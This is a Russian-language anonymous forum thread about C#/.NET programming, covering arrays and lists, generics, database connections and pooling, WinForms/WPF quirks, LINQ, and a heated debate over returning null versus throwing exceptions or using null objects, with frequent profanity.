ладно в любом случае ты абсолютно прав
Так ты сделай метод, который тянет данные из базы вида bool TryGet... Абстракции это хорошо, но по-моему у тебя там уже лишние слои накручены, хотя я, конечно, всего кода не вижу.
да по ответам к таком варианте я и пришел, попробую моим семпаям презентовать завтра такой подход, надеюсь им понравиться, спасибо анону!
массивЧисел += число;
С листом же работает такой синтаксис:
лист.Add(что-то);
А с массивом обязательно нужно возиться с индексами, с счетчиком. Указывать по какому адресу примостить свой элемент.
Хотя я наверно понимаю, что массивы это слишком низкоуровневая хуйня, чтобы так фривольно с ними себя вести. Но все равно, заебись была бы фишка.
чем тебе лист не угодил?
Ситуация, есть физический сервер с SQL базой. Раньше легаси софт компании работал напрямую с этой базой, чем постоянно клал всю локальную сеть нагрузками. Я сейчас все это привожу к норме (по моему мнению и опыту)
И у меня появилась идея - делать запрос к серверу только один раз при запуске, сохранив копию данных в временной базе данных на компьютере пользователя и дальше работать с этой копией без сети. В принципе результат не плох, так как обычно работа там только чтение данных. Изменение - очень редкая операция.
Но вот как быть когда все таки один пользователь изменил данные, они прописались на сервер - но как теперь сделать чтобы другие пользователи их получили автоматом? Какие есть методы такой синхронизации?
(пока сделал ламерски - сделал кнопочку "обновить")
Правильный способ: клиент/сервер с паб/сабом. На стороне SQL Server подымаем сервер на .NET или .NET Core и прикручиваем какой-нибудь SignalR.
Если не хочется заморачиваться, то можно посмотреть в сторону Service Broker (хотя я не очень уверен, что он подойдет для твоего кейса, но лучше глянь сам), встроенного в SQL Server.
Потому что List.Add делает тоже самое, что делал бы и ты, если добавлял к массиву размером 10, 11 элемент.
Потому что массив это такая вот структура данных, которая нихуя не знает ничего, кроме того насколько она большая, где в памяти находится и какой величины объект в себя помещает. Все.
Массив как-бы нужен не чтобы в него удобно добавлять было, а чтобы выделить кусок памяти фиксированного размера иметь константное время доступа к элементу по индексу.
Если тебе надо постоянно добавлять и ты не знаешь конечный размер, даже в теории - ты просто берешь и юзаешь лист/стек/очередь/что-то еще что больше подходит в твоем случае.
Спасибо
Суть: создать метод, который выделяет память объекту (переданному в метод по ссылке) исходя из данных, переданных в конструктор (то есть конструктор бросает исключение, если данные невалид).
Тип объектов, допустим, классы Handler1 и Handler2, унаследованные от интерфейса IHandler.
Реализация:
interface IHandler { ... }
// в классах ниже реализованы конструкторы с параметром string
class Handler1 : IHandler { ... }
class Handler2 : IHandler { ... }
void CreateHandler<T>(ref T handler) where T: IHandler, new()
{
while (handler == null)
{
try
{
// ошибка: нельзя вызвать конструктор T с аргументами
handler = new T("somethings");
}
catch (Exception e)
{
Console.WriteLine($"Message: {e.Message}");
}
}
}
Использование:
Handler1 handler1 = null;
Handler2 handler2 = null;
CreateHandler<Handler1>(ref handler1);
CreateHandler<Handler2>(ref handler2);
Есть идеи, как обойти ошибку или упростить мою идею?
Сразу прошу прощения за возможно неправильное использование обобщений, потому что перешёл с крестов, на которых, кстати, мой пример легко заработал при использовании шаблонов
Суть: создать метод, который выделяет память объекту (переданному в метод по ссылке) исходя из данных, переданных в конструктор (то есть конструктор бросает исключение, если данные невалид).
Тип объектов, допустим, классы Handler1 и Handler2, унаследованные от интерфейса IHandler.
Реализация:
interface IHandler { ... }
// в классах ниже реализованы конструкторы с параметром string
class Handler1 : IHandler { ... }
class Handler2 : IHandler { ... }
void CreateHandler<T>(ref T handler) where T: IHandler, new()
{
while (handler == null)
{
try
{
// ошибка: нельзя вызвать конструктор T с аргументами
handler = new T("somethings");
}
catch (Exception e)
{
Console.WriteLine($"Message: {e.Message}");
}
}
}
Использование:
Handler1 handler1 = null;
Handler2 handler2 = null;
CreateHandler<Handler1>(ref handler1);
CreateHandler<Handler2>(ref handler2);
Есть идеи, как обойти ошибку или упростить мою идею?
Сразу прошу прощения за возможно неправильное использование обобщений, потому что перешёл с крестов, на которых, кстати, мой пример легко заработал при использовании шаблонов
бамп
>Что ты вообще сделать хочешь?
У меня есть API-ха (типо CRM) - Делаю для нее функционал. Исходя из всевозможных хотелок потребителя я знаю, что должны быть всевозможные поиски, фильтрации, сортировки - поэтому хочу написать хороший интерфейс и его реализовать. Мне нужно понять - как такой расширяющийся функионал уместить в интерфейс. У меня сейчас 2 вопроса:
1. Что является ключом доступа к связанным сущностям - UserId или UserEmail. По логике должен быть UserId, но я его не храню в кукисах, только UserEmail. Стоит ли его хранить? Или может быть стоить все запросы делать через Email?
2. По поводу всевозможных фильтрафий, сортировок и т.д. - делаю метод, куда передаю одну сущность на вход и такую же на выход. К примеру метод по поиску юзера:
public User GetUser(User user) - этот метод я буду оверлоадить под каждый другой метод. Правильный ли это подход?
1) В авторизационных хедерах ожидай всё, что нужно для авторизации. Например, jwt токен. Из токена можно вытащить всё клеймы, например userId. Доверять кукам UserEmail и UserID - это дыра в безопасности размером с Sagittarius A*
2) Сделай DTO, в котором будут вшиты все возможности по поиску и накалябай метод SearchUser(UserSearchOptions searchOptions).
Именно так. Если нужен более конкретный совет по архитектуре, скидывай весь код.
связаны таблицы полями (таблица 1 поле :message) > (таблица 2 поле : messageInfo)
собственно проблема на скрине
привет аноны, пытаюсь добавить в таблицу ДВЕ связанные таблицы
> токена можно вытащить всё клеймы, например userId
это хорошая идея
>Сделай DTO
уже сделал, просто почему то messed up with email/id fields. Спасибо
Понял, решил, Спасибо Большое!
Есть windows Forms приложение. В котором есть вкладки.
Нужно по открытию вкладки создать объект, который будет жить всё время, пока вкладка не закроется.
Как это сделать? Понятно что по ивенту открытия вкладки нужно создать объект, но после выполнения обработчика эвента этот объект уничтожиться. Понятно, что можно создать глобальный статический объект и его использовать, но может быть есть какие-то более удачные подходы. Вообще как решается эта проблема?
Тебе бы на wpf перейти, там точное есть решение данной проблемы.
Я лишь знаю примерное решение на wpf. В либе Dragablz есть ивенты по созданию нового окна, да и в самой либе можно табы вытаскивать в новое окно.
https://github.com/ButchersBoy/Dragablz
Может тут найдешь решение проблемы
Ты бы лучше формат фала описал. Я в шарпотрез захожу не чтоб с памятью ебаться.
И что получить надо? Набор строковых ключ-значение? Или еще надо определять bool, int и тд?
Ну если это lua (я хз, никогда не работал с ним) то должно быть уже что-то готовое для него.
Я должен был догадаться, что все уже сделано до меня. Спасибо.
о калмьюнити версии студии, разумеется
>создаешь акк мразософта
>кодишь нормально пару недель
>ой ты чет падазрительный, мы тебя заблокировали, нук телефончик на стол
ИДИТЕ НАХЕР
Лул.
я его и не указывал, эти бляди просто заблокировали аккаунт под надуманным предлогом, дескать, подозрительные действия с вашего аккаунта - с хуев там быть чему-то подозрительному, если я эту хуйню только для студии использую? мразотные выблядки просто хотели телефончик получить.
Как-то так. Мне лично не нравится, но оно делает то, что ты хочешь
Спасибо чувак, ты охуенен
Я просто еще нуб, только учусь, но учится приходится на боевом задании, в реальном проекте
Просто надоело писать один и тот же код как на пикче, сейчас у меня там 90% кода из вот этого (потому что надо заполнять всякие комбобоксы и надписи строками из базы)
Это реально раздражает
А ведь это я сейчас работают с тестовой базой в Access. Мне потом еще и базу менять на другую (SQL server) - то есть придется менять эти OleDb на другое.
А есть самая простая обертка для примитивных задач по выборке (без хранимых процедур, транзаций и прочего - мне простых SELECT хватит.. но вообще есть еще и запросы на очистку таблиц и редактирование)
Только именно простое, желательно чей-то велосипед с гитхаба (а то конечно наверняка есть монстры под все случаи жизни, с 1к страничными мануалами настроек)
Сам я пока не могу это выделить в класс - еще мало опыта, получается говно
>Dapper
так я же пишу что надо простое... хотя конечно гляну. Но просто нет времени вникать в тяжелые либы (да и задачи там очень простые, скорее монотонные, не требующие крутых либ)
А что сложно описать в виде строки с sql кодом и получить обратно лист с нужными данными? Я ещё не встречал ещё более простого способа
Посмотри еще на linq2sql - где-то между даппером и еф.
>Ну или что гуглить?
Ну пиздец, попробуй так и написать в гугель - store image in db - охуеешь какой гугл умный и распознал твой запрос. А вообще большинство бд умеют хранить байтовые массивы. Но лучше, если нет объективных причин хранить именно в бд, хранить в бд инфу о файле, а сам файл отдельно от бд.
Берешь любой цикл for/foreach и переделываешь его в LINQPad
Бери задания по sql, по типу: количество пользователей купивших > 1000, сколько товара на складе. Только не через sql, а linq. Самое прямое назначение
Сделай подобное сам, оглядываясь на примеры sql. И практика и хороший пет проект
спасибо
да, CSharpDbContextGenerator является частью ef tools, только его нельзя поставить на vs community,
сам ef tools установлен, но при этом не могу добавить файл шаблона в проект, такой опции просто не появляется
- во многих уроках я вижу что connect открывают во время запроса и потом сразу закрывают. Почему?
Почему OleDbConnection нельзя создать при запуске приложения, а закрыть при его закрытии?
Просто что получилось - вот у меня запрос на пикче. Вроде примитивный. Заполнить ComboBox (WPF) списком улиц.
Делаю такой запрос на выборку в базе - моментально получаю список. Делаю это же самое в форме access - тоже моментально.
Делаю это на шарпе - и список первый раз открывается с задержкой в 3-4 секунды. Там всего-то 200 улиц. База данных и сама программа вообще на рамдиске.
(и на самом деле кажется количество не узкое место, попробовал выбрать 20 штук - таже беда с задержкой... вот и думаю, может из-за создания Connect?
Но у меня одна база данных, я не конекчу разные базы. Вроде читал что оно должно уметь делать одно общее соединение.
Почему так медленно раскрывается? что я делаю не так? как правильно?
Потому что работа с коннекшенами не потокобезопасная. С учётом, что большинство нового кода пишется с использованием async/await твой единый глобальный коннекшен не взлетит.
Помимо этого коннекшены по умолчанию находятся в пуле (если ты сам это не выключил), и создание коннекшена в коде не приведет к физическому открытию подключения к базе. Т.е твой глобальный коннекшн опять не нужен.
В третьих, незакрытые коннекшены истощают этот самый пул. Кончится пул - ни один запрос больше не выполнится. Поэтому лучшей практикой считается открытие коннекшена ровно перед тем как ты его собрался использовать, а закрыть его - как только ты выполнил свой запрос.
Твой 4 секундный простой при открытии первого коннекшена связан с инициализацией пула. Выполни при старте Select 1, простоя не будет.
>Твой 4 секундный простой при открытии первого коннекшена связан с инициализацией пула. Выполни при старте Select 1, простоя не будет.
не помогло. Сделал выполнение этого же запроса до того как создается окно. Все равно комбобокс при первом открытии открывается с задержкой
Заинтересовал, анон, надо посмотреть. Хотя я обычно только снапшоты памяти смотрю, когда жор начинается. Ну либо самописный класс, который стопватчем время замеряет
Сейчас в fody сделали атрибут Time, так что еще удобнее стало
Я с wpf ушел давно, заебали его тормоза. Возможно, у анона проблема в нем, потому что обычно открыть и сгрузить чуток данных из таблицы – дело миллисекунд
Вот даже меню в пустом приложении создаешь, наводишь мышку, а оно первый раз пропердывается, и только на второй раз открывается бодро. Та же хуйня в студии. Попробуйте курсором по меню пройтись после рестарта
А если бы решал проблему того пчела, то просто сгрузил бы асинхронно или в другом потоке улицы заранее например, после открытия окна, и держал бы в листе, чтобы уже точно исключить висяки со стороны бд
Еще хамл этот ебаный. Кому-то нравится, но после веба и флаттера смотрю на него как на говно. Бленд не пытался осиливать, может, в этом дело
Люблю просто красивые интерфейсы
Хочу нарисовать в вижл студии на форме кучу чекбоксов и адресовать их, как массив.
Помню, десять лет назад в вижл бейсике у меня получалось просто назвать чекбоксы как checkbox[1] и т.д., но здесь и сейчас такой фокус не удаётся.
Как это делается?
Прямо в экспресс штоле? Или всё же оно платное?
1. Ваш язык где-то ещё жив кроме юнити? Чё по UWP, чё по Xamarin, чё по Web?
2. Возможно ли писать не в говностудии? Меня так бесит эта параша, хочу VSCode. Могу даже на винде, но не в студии.
3. Чё по работам?
>Возможно ли писать не в говностудии?
Есть Rider, сам не пользовался но отзовы положительные. Есть вс код, но шарп в нем мне не зашел, а вот обмазаться плагинами и писать js/css часть самое то.
>ты не можешь essets открыть и посмотреть какие расширения у нее есть?
Я спрашиваю юзер экспириенс.
Есть много что. Есть плагин для написания игр на андроид на руби. Есть mvc фреймворк для веба для C++. Я спрашиваю про то как это вообще норм у людей заходит или калл. Какой юзер экспириенс?
> dou.ua / hh.com
Ну смотрел. Мне интересны клустори.
А чё по UWP, Xamarin?
>юзер экспириенс
>Мне интересны клустори.
>Ты какой даун, лучше даже не начинай, оставайся в петухоне/js-е
По кнопке вызывается вот такой хендлер:
private void OnLoadSettings(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
}
radioButton1.Select();
edit1.Text = "eeeeeeeeeeeee";
}
Он же в том же UI треде, правильно? Если кликнуть в диалоге выбрать файл а потом кликнуть Open, radioButton1 активизируется как и ожидается. А если на файл кликнуть два раза, то button.Select игнорируется. Причем edit1 обновляется нормально в обоих случаях. Что происходит?
Хм, убрал 99% остального кода, оставил только кнопку и радиокнопку и в таком виде работает нормально. И как эту хрень искать? Кто-то другой переключает кнопку по евенту когда все вместе работает? Ставил брейкпойнты, ничего подозрительного.
Может вот так?
base.Invoke((Action)delegate { btnGet.Enabled = true; });
Но в msdn примерах этого не делается и контрол изменяется прямо из хендлера.
Класс Util
А не, я бухой просто
Знаю сносно питон, работаю на нем. Хочу вкотиться в шарп для души. Есть ли какие-нибудь книги/курсы не для абсолютных новичков в прогаммировании, которые быстро втянут меня в шарп, шоб как рыба в масле нахуй?
В инторнетах ваших курсы либо для полных дебилов а-ля вот тут int кароче кастится в double, либо "как сделать пулю пиу пиу в юнити"
Смотрите, я хочу сделать запрос к api наскольких сайтов. Например я хочу подгрузить список новых релизов, тэги к аниме которое у меня в профиле есть, описание к ним и ссылки на постеры. Вот. Я делаю таск LoadData().
Вот. Но, допустим а процессе пользователь понял, что ему не хочется грузить новые релизы, но остальное хочется. Как я должен отменить конкретно таск с загрузкой релизов? Неужели надо делать 3 функции и для каждой делать свой CancellationTokenSource?
Linq to SQL
есть год опыта довольно специфичной разработки на c# и python. Сейчас решил сменить место работы. Мониторю рынок c# - там backend (логично). Но бля выглядит это так, будто ты всю жизнь на такой работе jsonчики туда сюда гоняешь. Понимаю, что каждая работа это по большей части рутина и все такое. Но блин, хочется чего-то более интелектуального , чем запросы в бд целый день писать. Вот скажи, анон, мб я, в силу своей некомпетентности в бекэнде ошибась насчет этой области? буду рад, если так. Тое не хуесостье плз
На уровне джуна-мидла это действительно 95% гоняние жсончиков туда-сюда и запросы делать. Особенно если это чисто веб. Если с девайсами еще работа, то помимо JSONчиков еще байтики будешь парсить, хотя современные девайсы стали жирные и некоторые тоже жсончики могут нормально так слать. Вот. На уровне повыше уже будешь думать насчет архитектуры вцелом и JSONчики отойдут на второй план, надо будет думать о масштабируемости, безопасности и этом всем. Да. Вот. Да.
Ну ХЗ что там на си плюс плюс. Я когда учился, практику проходил в одной конторе. Там были сишники, они писали драйвера для счетчиков потребления воды, и шарписты, к которым я и попал, писали прикладную часть, типа девайсы по проприетарному протоколу отправляли данные на наш сервер, на сервере мы их обрабатывали и схороняли, у сервера было api чтобы из веба можно было как счить данные которые уже есть на сервере, так и как-то с устройствами взаимодействавать, типа послать команду на чтение данных потребления за период или посмотреть версию прошивки. Воооооот. Лет 7 назад правда это было, я не знаю, занимаются ли сейчас таким на шарпе.
мне шарпы, как язык, дико заходят. Однако не вижу какие-то интересных областей с ним: все тебе fullstack и жисоны туды сюды. Кресты/питон - там компуктер вижн, разработка под железо. Мб я романтизирую разработку на крестах и наоборот деромантизирую на шарпе. Но мысли из разряда "нахуя я 6 лет матешу учил, чтобы к бд обращаться 5 дней в неделю" напрягают. Ты, вроде, адекватный анон. Расскажи про большую разработку на шарпах. Есть ли реально челенжевые задачи? Матанчик нужнен? Мозг не застаивается?
Все вопросы рили серьезные - не хочется сейчас с работой проебаться и долгие месяцы сидеть в УГ говне, набирая нерелевантый опыт
Да, именно так. Комбинировать с CreateLinkedTokenSource по вкусу.
На уровне мидла уже нужно смотреть про архитектурные паттерны.
Хочу найти подработку, без участия галеры-прослойки. Подскажите, на каких ресурсах смотреть? Интересует по возможности фул тайм работа с контрактом минимум на полгода.
>без участия галеры-прослойки
Welcome to out source, my boy. Таких нет, только фриланс толкаясь, крехтя и пердя среды 1001 индуса
>>754728
Как ты лычку получил без паттернов? Прямо как в мемасике - знаний, как у джуна, взяли на сеньера :) Энивей - красава.
Оффтоп - почему макака ограничила доступ на вход с тора на "анонимную" борду? Что за лицимерие?
Меня и не брали, я щас фронтом работаю, в конторе дотнет нужен просто, хочу сразу на аппер джуна дотнета ну и самому интересно
Хуй тебе в рыло, сраный урод.
это не оскорбление, это текущие реалии относительно желания быть бэкенд разрабом на asp net технологии. Конечно, у меня маленький опыт, 4 года и 7 проектов, но на всех проектах, даже на позициях back only, у меня спрашивали "а ты слышал что-нибудь про фронт энд? Да? Ах ты сука, сидишь молчишь, на тебе такси по фронту." и вот, помимо баз (хорошо, если на проекте dba есть), помимо ci/cd(хорошо, если на проекте девопс есть) ты ещё и фронт делаешь (даже при наличии сраных фронтов). Хорошо, если либа или фрэймворка фронтовый на тайпскрипте.
кароч, мой тебе совет: будут заказчики (именно заказчики, а не уебки с твоей галеры) спрашивать про опыт на фронте - говори что фронт никогда в жизни не видел.
Не то, чтобы это все сложно, просто заебывает
>чтобы к бд обращаться 5 дней в неделю
Меня так брали программистом на шарпе, теперь я из pl/sql developer вылажу только выполненные задачи отметить
еще вопрос в дополнение: Есть сущность, пусть это будет - Car. У Car есть такие поля - EngineType, Name, Type, Id, Brand. У пользователя есть возможность фильтровать по одному из критериев. Я знаю, как сделать в императивном стиле через кучу блоков If каждого поля с перегрузкой метода на N полей, можно ли это сделать это более грациозно?
public static City[] ConstructOneDimCity(Country[] countries)
{
List<City> cities = new List<City>();
for(var i = 0; i < countries.Length; i++)
{
for (var j = countries.GetXl(); j <= countries.GetXh(); j++)
{
for (var k = countries. GetYl(); k <= countries.GetYh(); k++)
{
cities.Add(new City(j, k, i, countries.Length))
}
}
}
return cities.ToArray();
}
Чем заменить вложенный цикл for в этом случае, чтобы было благолепно и не нужно было бы писать еще пяток for в случае расширения функционала?
Как правильнее указать в сигнатуре возвращаемый тип - IList или IEnumberable?
С одной стороны, IEnumberable более универсален и если захочется возвращать вместо массива какой-нибудь Stack, это можно будет легко сделать без правки сигнатуры.
Но с другой стороны этот же IEnumberable не поддерживает Linq, в результате, если понадобится в вызывающем коде сделать выборку по данным, нужно будет делать уродское преобразование во всех местах, где она нужна.
Есть ли универсальное решение для этого вопроса, или в каждом случае лучший вариант зависит от ситуации?
Тебе нужно вынести внутренних 2 цикла и сделать метод для получения городов в классе Country. Он там намного логичнее будет смотреться. В сам Country ввести какой-нибудь ID, который можно будет передать в конструктор City вместо индекса в массиве. И ещё, убрать из конструктора City число стран. Зачем оно нужно?
> Но с другой стороны этот же IEnumberable не поддерживает Linq, в результате
Что? Возможно, появится повторный перебор, так как доступ через Next, а не как в массиве
Linq'ом можно сделать, что-то типа:
var cities = from country in countries
from x in country.GetXs()
from y in country.GetYs()
select new Citi(x, y, country.Id)
Илт возвращай не искомое значение, а отдельный класс, например DbSearchResult в котором буду перечисления вида ResultState.Found/ResultState.NotFound
Да блядь, какого хуя-то Null это зашквар? Вот объясните мне?
Давай просто посмотрим варианты:
1. Ты возвращаешь null
2. Ты возвращаешь фейковый объект
3. Ты кидаешь исключение
Что мы имеем.
В первом варианте, null это дефолтное значение для всех референс типов, его оч быстро проверить и пользователь просто пишет if(obj is null) и все, ему даже думать не нужно больше, он всегда понимает что там может быть null, потому что, блядь ЭТО ДЕФОЛТНОЕ ЗНАЧЕНИЕ ВСЕХ РЕФЕРЕНС ТИПОВ, БЛЯДЬ, СУКА, НАХУЙ, ПИЗДА, ЗАЛУПА, ХУЙ.
Во втором, ты для каждой сущности делаешь статическую заглушку в виду MyObj.Empty. Ты добавляешь оверхед, а пользователь каждый раз должен такую же проверку на result.Equal(MyObject.Empty) делать, при этом там под капотом будет проверка на null и потом сравнение ссылок на объект. Опять же, ты создал просто так объект, который все время жизни приложения живет себе и нужен просто чтобы долбоеб проверил, а не хуйню ли я возвращаю.
Третье, ты кидаешь эксепшн. В итоге у пользователя ненужный нахуй оверхед, он должен обрабатывать это исключение и вообще, говно, жопа, мать ебал, производительность проседает и вообще говно-залупа и не нужно, если мы не работаем с сетью/удаленными БД/процессами, которые могут завершаться без нашего ведома и прочей залупой, от нас не зависящей.
В итоге, вариант с заглушкой это залупа из под коня, которая мало того что медленная, так и ни чем не выигрывает перед простой проверкой на null.
Остается два варианта Null и эксепшн. Эксепшн, как сказано ранее, заставляет пользователя писать постоянно try-catch, чтобы не дай бог хуйни не случилось. Или Null, божественный и удобный, который всем, сука понятен и все про него знают.
>>755299
Оверхед. Но таки оправданный, если для тырпрайза по всем заветам солида делается. Наверное лучший вариант.
>>755297
И что будет если в рамках конкретной таблицы это валидный ID? Ну вот был ебанутым чел что проектировал БД и в отрицательную сторону считать ключ, для каждой второй таблицы, просто потому что. Ну вот такой странный чел был, что поделать, а БД уже 15 лет работает и никто менять структуру не собирается, потому что ну вот так вот. Теперь я как пользователь класса должен что-то знать про устройство таблицы? И в случае если это вот конкретно эта таблица, то надо на положительные проверять, а если та - на отрицательные? А что если вообще в этой таблице нет суррогатных ключей и соответственно никаких ID? Допустим при проектировании решили, что Имя-Дата нормальный ключ для события, т.к. одно и то же событие в один день не может произойти, никаких ID. Что мне тут проверять? Если бы я просто проверил на Null, мне вообще не нужно было бы думать про то как там таблица устроена, какая там сущность и т.д.
В общем, мое мнение null - прекрасен, null удобен, null - это радость и процветание, если ты не чел, который забывает каждый раз что null это то чего нужно ждать.
Да блядь, какого хуя-то Null это зашквар? Вот объясните мне?
Давай просто посмотрим варианты:
1. Ты возвращаешь null
2. Ты возвращаешь фейковый объект
3. Ты кидаешь исключение
Что мы имеем.
В первом варианте, null это дефолтное значение для всех референс типов, его оч быстро проверить и пользователь просто пишет if(obj is null) и все, ему даже думать не нужно больше, он всегда понимает что там может быть null, потому что, блядь ЭТО ДЕФОЛТНОЕ ЗНАЧЕНИЕ ВСЕХ РЕФЕРЕНС ТИПОВ, БЛЯДЬ, СУКА, НАХУЙ, ПИЗДА, ЗАЛУПА, ХУЙ.
Во втором, ты для каждой сущности делаешь статическую заглушку в виду MyObj.Empty. Ты добавляешь оверхед, а пользователь каждый раз должен такую же проверку на result.Equal(MyObject.Empty) делать, при этом там под капотом будет проверка на null и потом сравнение ссылок на объект. Опять же, ты создал просто так объект, который все время жизни приложения живет себе и нужен просто чтобы долбоеб проверил, а не хуйню ли я возвращаю.
Третье, ты кидаешь эксепшн. В итоге у пользователя ненужный нахуй оверхед, он должен обрабатывать это исключение и вообще, говно, жопа, мать ебал, производительность проседает и вообще говно-залупа и не нужно, если мы не работаем с сетью/удаленными БД/процессами, которые могут завершаться без нашего ведома и прочей залупой, от нас не зависящей.
В итоге, вариант с заглушкой это залупа из под коня, которая мало того что медленная, так и ни чем не выигрывает перед простой проверкой на null.
Остается два варианта Null и эксепшн. Эксепшн, как сказано ранее, заставляет пользователя писать постоянно try-catch, чтобы не дай бог хуйни не случилось. Или Null, божественный и удобный, который всем, сука понятен и все про него знают.
>>755299
Оверхед. Но таки оправданный, если для тырпрайза по всем заветам солида делается. Наверное лучший вариант.
>>755297
И что будет если в рамках конкретной таблицы это валидный ID? Ну вот был ебанутым чел что проектировал БД и в отрицательную сторону считать ключ, для каждой второй таблицы, просто потому что. Ну вот такой странный чел был, что поделать, а БД уже 15 лет работает и никто менять структуру не собирается, потому что ну вот так вот. Теперь я как пользователь класса должен что-то знать про устройство таблицы? И в случае если это вот конкретно эта таблица, то надо на положительные проверять, а если та - на отрицательные? А что если вообще в этой таблице нет суррогатных ключей и соответственно никаких ID? Допустим при проектировании решили, что Имя-Дата нормальный ключ для события, т.к. одно и то же событие в один день не может произойти, никаких ID. Что мне тут проверять? Если бы я просто проверил на Null, мне вообще не нужно было бы думать про то как там таблица устроена, какая там сущность и т.д.
В общем, мое мнение null - прекрасен, null удобен, null - это радость и процветание, если ты не чел, который забывает каждый раз что null это то чего нужно ждать.
https://enterprisecraftsmanship.com/posts/return-the-most-specific-type/
Тлдр: в твоём случае вообще можно List вернуть.
Хули вы эксепшены ненавидите?
Я вот брошу эксепшн, повешу на роут ExceptionFilter атрибут и верну 404 сделав одну проверку. А вы пишите свои проверки на null по всему коллстеку до посинения. И тесты на это говно пишите.
Компьютеры дешёвые, программисты дорогие.
Ну, вот как вариант.
Правда я нихуя не понял модель всего этого, потому может быть хуйню написал.
Зачем все это? Добавь метод GetAllCities() к классу Country и все. Ты как будто Ява погромистом стать хочешь со своими стратегиями.
Чел же сказал, что не хочет писать пяток for в случае расширения функционала. Так он может любую реализацию получения городов вынести из страны и как угодно получать их. Может, в случае желания, для разных стран разные методы получения городов делать.
Ну, по крайней мере я так понял то что он хочет.
фейк лучше не кидать, это не мок. Если юзер будет вводить хуйню и получать фейк - это проблема
>>755299
это изолированный поиск по сущностям, там нет перебора на найдены/не найдены
>>755311
null - зашквар, ибо nullreferenceexeption ложит апликуху. И как написал господин из >>755315 - это проверки по всей цепочке алгоритма на Null, чтобы не дай бог нигде не проебаться.
>>755200
>Бросай исключение
остановился на исключениях, ибо можно целую фабрику Exception сделать и через pattern martching проверять их
>Создай класс CarSearchOptions
У меня получились доп. экстеншены к сущностям по дереву наследования. Я боюсь, чтобы они не раздулись до склада костылей. Так или иначе - спасибо за совет
С вероятностью 99% чел просто хочет результат cities.SelectMany(c => c.GetX1().Concat(c.GetY1())
Есть %сайт_нейм%, который имеет собственный API. Хотелось бы в качестве практики написать библиотеку, в которой были бы реализованы все методы из этого API.
Как пример - библиотеки VkNet / Telegram.Bot.
Какие технологии/архитектурные особенности используются для подобного и где об этом можно почитать?
https://docs.microsoft.com/en-us/dotnet/api/system.net.http.httpclient?view=netcore-3.1
И пошел клепать реквестики.
Парсер(любой) и что-нибудь для запросов по HTTP, можешь, например, ебануться и на голых сокетах ебашить, можешь HTTP-клиент использовать.
Конечно, в манямирке большинства программистов, никто не забывает делать проверки на null, но в реальности их забывает делать каждый. Вот теперь подумай, лучше не сделать проверку на null и положить всё приложение или не сделать проверку на null и продолжить работу приложения с объектом-заглушкой, записав это в логи?
Если программист забывает проверку на null, он так же будет забывать и про проверку с заглушкой и логгирование. А с точки зрения работы, так вообще, лучше приложение сразу упадет и ты знаешь где и когда, с логами и всем на свете, чем потом будешь искать, где же там ебаная заглушка всю логику ломает.
Заглушка сама пишет в логи обращение к своим свойствам и методам, поэтому если кто то забыл, то это будет отражено в логах. Для этого даже аттрибуты сделали: callermembername, sourcefilepath и sourcelinenumber. Поэтому найти всё это будет легче, чем восстановиться после исключкния, а потом еще и искать его.
При этом не найденый объект это не такая проблема из за которой нужно ложить всё приложение, а если ты его ложишь, то значит нужно во всех таких местах создавать механизмы сохранения состояний.
return s.Split(' ').Min(x => x.Length);
Я понимаю, что мы берём строку, разбиваем её на массив слов через пробел, а дальше ищем минимальное длину каждой подстроки через Linq. А как работает вот это: x => x.Length Почему это выражение в скобках?
x=>x.Length тут делегат, или тупо метод который берет строку x и возвращает ее длину
в скобках она потому что это вызов метода Min()
Min принимает в качестве аргумента делегата. Этот делегат может быть описан как обычная функция, так и с помощью лямбды. Этот самй : x => x.Length это как раз лямбда. Ты бы мог вместо этого функцию аналогичной сигнатуры пихать.
Это вполне элементарные правила ООП. Падать приложение должно только в исключительных случаях, а не когда у тебя в базе данных не нашлось совпадений на запрос.
1) Если у тебя веб приложение, оно неупадет. Ответит васяну 500 ошибкой если ты не удосужился поставить фальтров на свои API.
2) Если ты пишешь десктопную хрень - лови на том уровне, где ты с эттим исключением сможешь сделать что-то вменяемое. Например, вывалить сообщение о не найденных записях.
Error hiding хуже крешей.
Так, блин, проверяешь на null и ничего не падает, при этом ты сразу можешь остановить выполнение дальнейшего алгоритма, потому что ничего не найдено. В чем проблема-то?
Просто давай посмотрим. Допустим тебе нужно вернуть не чистую сущность а какую-то аггрегированнуию, например ты не просто пользователя возвращаешь, а в ответ пихаешь его список любимых книг. Ну и вот ты вернул фейкоюзера, он там логгируется, пробует получить свой список любимых книг, может быть еще получить любимых певцов, просто так тратит ресурсы, выполняет ненужную работу и т.д. при этом конечным ответом все равно будет пустой объект. Проверив на null ты мог сразу вернуть: UserNotFound и все. А если ты кидаешь эксепшн на каждого не найденного юзера, то в определенный момент, когда запросов море, а БД раздута, у тебя начинаются ненужные просадки производительности, твой клиент вынужден брать более дорогое железо из-за того что кодер с СДВ забывает проверять на null, когда ебучая IDE ему говорит о том, что надо проверить.
>проверяешь на null
Выше уже писал, что делается это для ситуаций в которых забили написать проверку на null. Вот если брать такую ситуацию, то пока мой фейкоюзер будет отдавать пустые списки и значения, записывая все вызовы в лог, ты положишь своё приложение и, возможно, потеряешь ценную информацию, а также время на восстановление и гадание того, где же у тебя там нуллреференс эксепшн вылез.
>лови на том уровне
Зачем, если можно возвращать пустой объект и обойтись меньшим количеством трай кетч блоков?
>Error hiding хуже крешей.
В том то и дело, что это не ошибка. Это стандартное значение, вот только если при стандартном для Int32 нулевом значении у тебя при манипуляциях с этим значением не вылетает эксепшн, то при манипуляциях с null значением этот эксепшн вылетает. Вот это и избегают объектом, который будет возвращаться вместо null и представлять стандартное, пустое значение.
>>756275
>В том то и дело, что это не ошибка.
Ок, забывчивый программист Вася пишет роут PUT /api/users/{id}/personal-data. Он пользует твой класс, который возвращает фейковый объект если юзер с таким ID не найден. Естественно он забыл проверить на фейкового юзера потому что на null он тоже забыл бы проверить, как ты пишешь Что теперь? Сохраняем хуету вместо персональных данных? Падаем? Просто логируем и продолжаем работать как ничего не бывало?
> гадание того, где же у тебя там нуллреференс эксепшн вылез.
Бред сивой кобылы. Узнать источник нуллрефа гораздо проще, чем угадать откуда же у тебя в базе появился фейковы юзер с ID = -1. В стектрейсе даже строка, ёпта, написана.
